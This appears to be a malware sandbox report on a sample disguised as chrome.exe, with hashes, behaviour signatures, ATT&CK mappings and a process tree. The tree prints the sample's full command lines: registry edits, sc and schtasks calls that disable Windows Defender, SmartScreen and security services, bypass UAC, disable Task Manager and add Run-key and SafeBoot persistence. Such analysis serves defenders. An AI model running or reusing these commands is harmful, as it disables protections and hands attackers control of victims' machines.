Overview

overview

10

Static

static

3

chrome.exe

windows11-21h2-x64

10

Resubmissions

02/04/2025, 19:18

250402-x1fajsvmt9 10

22/03/2025, 04:45

250322-fdd1jaxzax 10

22/03/2025, 04:32

250322-e5x22sxydw 10

22/03/2025, 01:50

250322-b9qa8ayrs5 10

Analysis

  • max time kernel
    443s
  • max time network
    444s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250314-en
  • resource tags

    arch:x64arch:x86image:win11-20250314-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22/03/2025, 01:50

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    chrome.exe

  • Size

    4.1MB

  • MD5

    d162022a4f77fe568e3644c8ddccfc91

  • SHA1

    940b43d35e0bd31d108b5758339494e1b990ac21

  • SHA256

    780044208370ddc653095749d6e17ba029364d169891c8fcf2ff10974e0800ab

  • SHA512

    81db20a0cf1ba119769a86b1c24a1106a2a13c0dd4c42285128cd506c385e596466f5bafae196ec22187fbd729eb5167295b6d9850d04d92c1c67540bba8573e

  • SSDEEP

    98304:bhmbefkYYSmghDECMUVXhxEt3/PGrcFEXdA+Sif2g07:bf8YbmGlhVmv+r1XyNi+g07

Score
10/10
defense_evasiondiscoveryevasionexecutionexploitpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Disables Task Manager via registry modification
    defense_evasion
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Modifies Security services 2 TTPs 5 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in System32 directory 9 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Accessibility Features 1 TTPs

    Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 42 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: SetClipboardViewer 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\chrome.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A1CE.tmp\A1CF.tmp\A1D0.bat C:\Users\Admin\AppData\Local\Temp\chrome.exe"
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:5728
      • C:\Windows\system32\reg.exe
        reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v sex.exe /d "C:\Windows\System32\sex.exe"
        3⤵
        • Adds Run key to start application
        PID:420
      • C:\Windows\system32\reg.exe
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableTaskMgr /t REG_DWORD /f /d 1
        3⤵
          PID:3224
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • UAC bypass
          • Modifies registry key
          PID:1436
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
          3⤵
          • UAC bypass
          • Modifies registry key
          PID:2064
        • C:\Windows\system32\reg.exe
          reg add HKLM\System\CurrentControlSet\Control\SafeBoot /v AlternateShell /t REG_SZ /d "C:\Windows\System32\sex.exe" /f
          3⤵
          • Modifies registry key
          PID:572
        • C:\Windows\system32\reg.exe
          reg add HKLM\System\CurrentControlSet\Control\ComputerName\ActiveComputerName /v "ComputerName" /t REG_SZ /d "NeoandRedV" /f
          3⤵
          • Modifies registry key
          PID:1944
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Control Panel\International" /v "s1159" /t REG_SZ /d "Neo" /f
          3⤵
            PID:4724
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Control Panel\International" /v "s2359" /t REG_SZ /d "Red_V" /f
            3⤵
              PID:1480
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Control Panel\International" /v "sCountry" /t REG_SZ /d "United Red_V of Neo" /f
              3⤵
                PID:4512
              • C:\Windows\system32\timeout.exe
                timeout 3 /nobreak
                3⤵
                • Delays execution with timeout.exe
                PID:2020
              • C:\Windows\system32\control.exe
                control
                3⤵
                • Modifies registry class
                PID:4876
              • C:\Windows\system32\cttune.exe
                cttune
                3⤵
                  PID:4860
                • C:\Windows\system32\DisplaySwitch.exe
                  displayswitch.exe
                  3⤵
                    PID:4888
                  • C:\Windows\system32\reg.exe
                    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ /v BatteryFlyout /t REG_DWORD /f /d 0
                    3⤵
                      PID:4812
                    • C:\Windows\system32\reg.exe
                      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation\ /v HelpCustomized /t REG_DWORD /f /d 1
                      3⤵
                        PID:5276
                      • C:\Windows\system32\reg.exe
                        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation\ /v Manufacturer /t REG_SZ /f /d "Neo, Red_V"
                        3⤵
                          PID:5800
                        • C:\Windows\system32\reg.exe
                          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation\ /v Model /t REG_SZ /f /d "YOU HAVE BEEN FUCKED"
                          3⤵
                            PID:1160
                          • C:\Windows\system32\reg.exe
                            reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation\ /v SupportHours /t REG_SZ /f /d "NEO"
                            3⤵
                              PID:4900
                            • C:\Windows\system32\reg.exe
                              reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation\ /v SupportPhone /t REG_SZ /f /d "NEO"
                              3⤵
                                PID:5284
                              • C:\Windows\system32\reg.exe
                                reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation\ /v SupportURL /t REG_SZ /f /d "http://www.neocorporations.com"
                                3⤵
                                  PID:4404
                                • C:\Windows\system32\reg.exe
                                  reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\MTCUVC" /v EnableMtcUvc /t REG_DWORD /f /d 0
                                  3⤵
                                    PID:2316
                                  • C:\Windows\system32\mmc.exe
                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\devmgmt.msc"
                                    3⤵
                                    • Drops file in System32 directory
                                    • Drops file in Windows directory
                                    • Checks SCSI registry key(s)
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5524
                                  • C:\Windows\System32\WScript.exe
                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bozo.vbs"
                                    3⤵
                                      PID:4936
                                    • C:\Windows\System32\WScript.exe
                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bozo2.vbs"
                                      3⤵
                                        PID:2872
                                      • C:\Windows\System32\WScript.exe
                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bozo3.vbs"
                                        3⤵
                                          PID:5832
                                        • C:\Windows\System32\WScript.exe
                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bozo4.vbs"
                                          3⤵
                                            PID:6020
                                          • C:\Windows\System32\WScript.exe
                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bozo5.vbs"
                                            3⤵
                                              PID:4456
                                            • C:\Windows\system32\dxdiag.exe
                                              dxdiag
                                              3⤵
                                                PID:3000
                                              • C:\Windows\system32\mmc.exe
                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\diskmgmt.msc"
                                                3⤵
                                                • Drops file in System32 directory
                                                • Suspicious behavior: SetClipboardViewer
                                                • Suspicious use of AdjustPrivilegeToken
                                                • Suspicious use of SetWindowsHookEx
                                                PID:5504
                                              • C:\Windows\system32\SndVol.exe
                                                SndVol.exe
                                                3⤵
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of SendNotifyMessage
                                                PID:2764
                                              • C:\Windows\System32\WScript.exe
                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\player.vbs"
                                                3⤵
                                                  PID:4524
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
                                                  3⤵
                                                  • Modifies Windows Defender TamperProtection settings
                                                  PID:4796
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKLM\System\CurrentControlSet\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f
                                                  3⤵
                                                    PID:4740
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                    3⤵
                                                    • Modifies Security services
                                                    PID:1732
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
                                                    3⤵
                                                    • Modifies Windows Defender notification settings
                                                    PID:1564
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f
                                                    3⤵
                                                    • Modifies Windows Defender notification settings
                                                    PID:6128
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /
                                                    3⤵
                                                      PID:736
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                                      3⤵
                                                        PID:4208
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
                                                        3⤵
                                                          PID:5028
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                                          3⤵
                                                          • Modifies Windows Defender DisableAntiSpyware settings
                                                          PID:3076
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                          3⤵
                                                            PID:1892
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
                                                            3⤵
                                                              PID:6072
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
                                                              3⤵
                                                                PID:6108
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                                3⤵
                                                                  PID:5772
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                                  3⤵
                                                                  • Modifies Windows Defender Real-time Protection settings
                                                                  PID:1464
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                                  3⤵
                                                                  • Modifies Windows Defender Real-time Protection settings
                                                                  PID:1972
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                                  3⤵
                                                                  • Modifies Windows Defender Real-time Protection settings
                                                                  PID:2636
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                                  3⤵
                                                                  • Modifies Windows Defender Real-time Protection settings
                                                                  PID:3988
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
                                                                  3⤵
                                                                  • Modifies Windows Defender Real-time Protection settings
                                                                  PID:3432
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                                  3⤵
                                                                  • Modifies Windows Defender Real-time Protection settings
                                                                  PID:5672
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                                  3⤵
                                                                    PID:3872
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                    3⤵
                                                                      PID:1700
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                      3⤵
                                                                        PID:1584
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                                                        3⤵
                                                                          PID:3260
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                          3⤵
                                                                            PID:1936
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                            3⤵
                                                                              PID:1468
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                              3⤵
                                                                                PID:1880
                                                                              • C:\Windows\system32\schtasks.exe
                                                                                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                                3⤵
                                                                                  PID:720
                                                                                • C:\Windows\system32\schtasks.exe
                                                                                  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                                  3⤵
                                                                                    PID:1912
                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                    3⤵
                                                                                      PID:3352
                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                      3⤵
                                                                                        PID:1600
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                                                        3⤵
                                                                                          PID:1520
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                                          3⤵
                                                                                            PID:2144
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                            3⤵
                                                                                              PID:3492
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                              3⤵
                                                                                                PID:3404
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                                3⤵
                                                                                                  PID:3444
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  3⤵
                                                                                                  • Modifies Security services
                                                                                                  PID:5860
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  3⤵
                                                                                                    PID:6068
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    3⤵
                                                                                                    • Modifies Security services
                                                                                                    PID:2992
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    3⤵
                                                                                                    • Modifies Security services
                                                                                                    PID:5380
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    3⤵
                                                                                                    • Modifies Security services
                                                                                                    PID:3316
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    3⤵
                                                                                                    • Modifies security service
                                                                                                    PID:5760
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc config webthreatdefsvc start= disabled
                                                                                                    3⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:5824
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc config webthreatdefusersvc start= disabledreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
                                                                                                    3⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:2820
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKCU\Software\Microsoft\Edge\SmartScreenEnabled" /ve /t REG_DWORD /d "0" /f
                                                                                                    3⤵
                                                                                                      PID:1604
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg add "HKCU\Software\Microsoft\Edge\SmartScreenPuaEnabled" /ve /t REG_DWORD /d "0" /f
                                                                                                      3⤵
                                                                                                        PID:436
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t "REG_DWORD" /d "0" /f
                                                                                                        3⤵
                                                                                                          PID:3928
                                                                                                        • C:\Windows\system32\takeown.exe
                                                                                                          takeown /s KMOMNOMO /u Admin /f "C:\Windows\System32\smartscreen.exe"
                                                                                                          3⤵
                                                                                                          • Possible privilege escalation attempt
                                                                                                          • Modifies file permissions
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2056
                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                          icacls "C:\Windows\System32\smartscreen.exe" /grant:r Admin:F
                                                                                                          3⤵
                                                                                                          • Possible privilege escalation attempt
                                                                                                          • Modifies file permissions
                                                                                                          PID:2736
                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                          taskkill /im smartscreen.exe /f
                                                                                                          3⤵
                                                                                                          • Kills process with taskkill
                                                                                                          PID:2512
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          reg add "HKLM\System\CurrentControlSet\Control\CI\Policy" /v "VerifiedAndReputablePolicyState" /t REG_DWORD /d "0" /f
                                                                                                          3⤵
                                                                                                            PID:3208
                                                                                                          • C:\Windows\system32\control.exe
                                                                                                            control display
                                                                                                            3⤵
                                                                                                              PID:1416
                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL display
                                                                                                                4⤵
                                                                                                                  PID:3440
                                                                                                              • C:\Windows\system32\control.exe
                                                                                                                control
                                                                                                                3⤵
                                                                                                                  PID:1216
                                                                                                                • C:\Windows\system32\control.exe
                                                                                                                  control system
                                                                                                                  3⤵
                                                                                                                  • Modifies registry class
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:5640
                                                                                                                • C:\Windows\System32\control.exe
                                                                                                                  "C:\Windows\System32\control.exe" "C:\Windows\system32\joy.cpl",
                                                                                                                  3⤵
                                                                                                                    PID:4724
                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                      "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Windows\system32\joy.cpl",
                                                                                                                      4⤵
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:4980
                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                    taskkill /f /im explorer.exe
                                                                                                                    3⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:2476
                                                                                                                  • C:\Windows\system32\Fondue.exe
                                                                                                                    fondue
                                                                                                                    3⤵
                                                                                                                      PID:5568
                                                                                                                    • C:\Windows\system32\msconfig.exe
                                                                                                                      msconfig
                                                                                                                      3⤵
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:2312
                                                                                                                    • C:\Windows\system32\msinfo32.exe
                                                                                                                      msinfo32
                                                                                                                      3⤵
                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                      • Enumerates system info in registry
                                                                                                                      PID:5600
                                                                                                                    • C:\Windows\system32\OptionalFeatures.exe
                                                                                                                      optionalfeatures
                                                                                                                      3⤵
                                                                                                                        PID:564
                                                                                                                      • C:\Windows\system32\mmc.exe
                                                                                                                        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\services.msc"
                                                                                                                        3⤵
                                                                                                                        • Drops file in System32 directory
                                                                                                                        • Suspicious behavior: SetClipboardViewer
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:2816
                                                                                                                      • C:\Windows\system32\slui.exe
                                                                                                                        slui.exe
                                                                                                                        3⤵
                                                                                                                          PID:3468
                                                                                                                          • C:\Windows\system32\slui.exe
                                                                                                                            "C:\Windows\system32\slui.exe" 0x03
                                                                                                                            4⤵
                                                                                                                              PID:6100
                                                                                                                              • C:\Windows\system32\ChangePk.exe
                                                                                                                                "C:\Windows\system32\ChangePk.exe"
                                                                                                                                5⤵
                                                                                                                                  PID:4168
                                                                                                                            • C:\Windows\system32\SystemPropertiesAdvanced.exe
                                                                                                                              SystemPropertiesAdvanced
                                                                                                                              3⤵
                                                                                                                                PID:680
                                                                                                                              • C:\Windows\system32\SystemPropertiesComputerName.exe
                                                                                                                                SystemPropertiesComputerName
                                                                                                                                3⤵
                                                                                                                                  PID:4740
                                                                                                                                • C:\Windows\system32\SystemPropertiesDataExecutionPrevention.exe
                                                                                                                                  SystemPropertiesDataExecutionPrevention
                                                                                                                                  3⤵
                                                                                                                                    PID:1620
                                                                                                                                  • C:\Windows\system32\SystemPropertiesHardware.exe
                                                                                                                                    SystemPropertiesHardware
                                                                                                                                    3⤵
                                                                                                                                      PID:4188
                                                                                                                                    • C:\Windows\system32\SystemPropertiesPerformance.exe
                                                                                                                                      SystemPropertiesPerformance
                                                                                                                                      3⤵
                                                                                                                                        PID:2852
                                                                                                                                      • C:\Windows\system32\SystemPropertiesProtection.exe
                                                                                                                                        SystemPropertiesProtection
                                                                                                                                        3⤵
                                                                                                                                          PID:5896
                                                                                                                                        • C:\Windows\system32\SystemPropertiesRemote.exe
                                                                                                                                          SystemPropertiesRemote
                                                                                                                                          3⤵
                                                                                                                                            PID:5160
                                                                                                                                          • C:\Windows\system32\mmc.exe
                                                                                                                                            "C:\Windows\system32\mmc.exe" "C:\Windows\system32\WF.msc"
                                                                                                                                            3⤵
                                                                                                                                            • Drops file in System32 directory
                                                                                                                                            • Suspicious behavior: SetClipboardViewer
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:5772
                                                                                                                                          • C:\Windows\system32\mmc.exe
                                                                                                                                            "C:\Windows\system32\mmc.exe" "C:\Windows\system32\lusrmgr.msc"
                                                                                                                                            3⤵
                                                                                                                                            • Drops file in System32 directory
                                                                                                                                            • Suspicious behavior: SetClipboardViewer
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:4504
                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                        C:\Windows\system32\svchost.exe -k DevicesFlow -s DevicesFlowUserSvc
                                                                                                                                        1⤵
                                                                                                                                          PID:4916
                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                          C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
                                                                                                                                          1⤵
                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                          • Modifies registry class
                                                                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                          PID:5068
                                                                                                                                        • C:\Windows\SysWOW64\DllHost.exe
                                                                                                                                          C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
                                                                                                                                          1⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:1044
                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                          C:\Windows\system32\svchost.exe -k DevicesFlow -s DevicePickerUserSvc
                                                                                                                                          1⤵
                                                                                                                                            PID:2888
                                                                                                                                          • C:\Windows\System32\vdsldr.exe
                                                                                                                                            C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                            1⤵
                                                                                                                                              PID:2676
                                                                                                                                            • C:\Windows\System32\vds.exe
                                                                                                                                              C:\Windows\System32\vds.exe
                                                                                                                                              1⤵
                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                              PID:1708
                                                                                                                                            • C:\Windows\SysWOW64\DllHost.exe
                                                                                                                                              C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
                                                                                                                                              1⤵
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:2884
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                                                                                                                                              1⤵
                                                                                                                                                PID:2680

                                                                                                                                              Network

                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                              Reconnaissance

                                                                                                                                              Resource Development

                                                                                                                                              Initial Access

                                                                                                                                              Execution

                                                                                                                                              System Services

                                                                                                                                              1
                                                                                                                                              T1569

                                                                                                                                              Service Execution

                                                                                                                                              1
                                                                                                                                              T1569.002

                                                                                                                                              Persistence

                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                              1
                                                                                                                                              T1547

                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                              1
                                                                                                                                              T1547.001

                                                                                                                                              Create or Modify System Process

                                                                                                                                              6
                                                                                                                                              T1543

                                                                                                                                              Windows Service

                                                                                                                                              6
                                                                                                                                              T1543.003

                                                                                                                                              Event Triggered Execution

                                                                                                                                              1
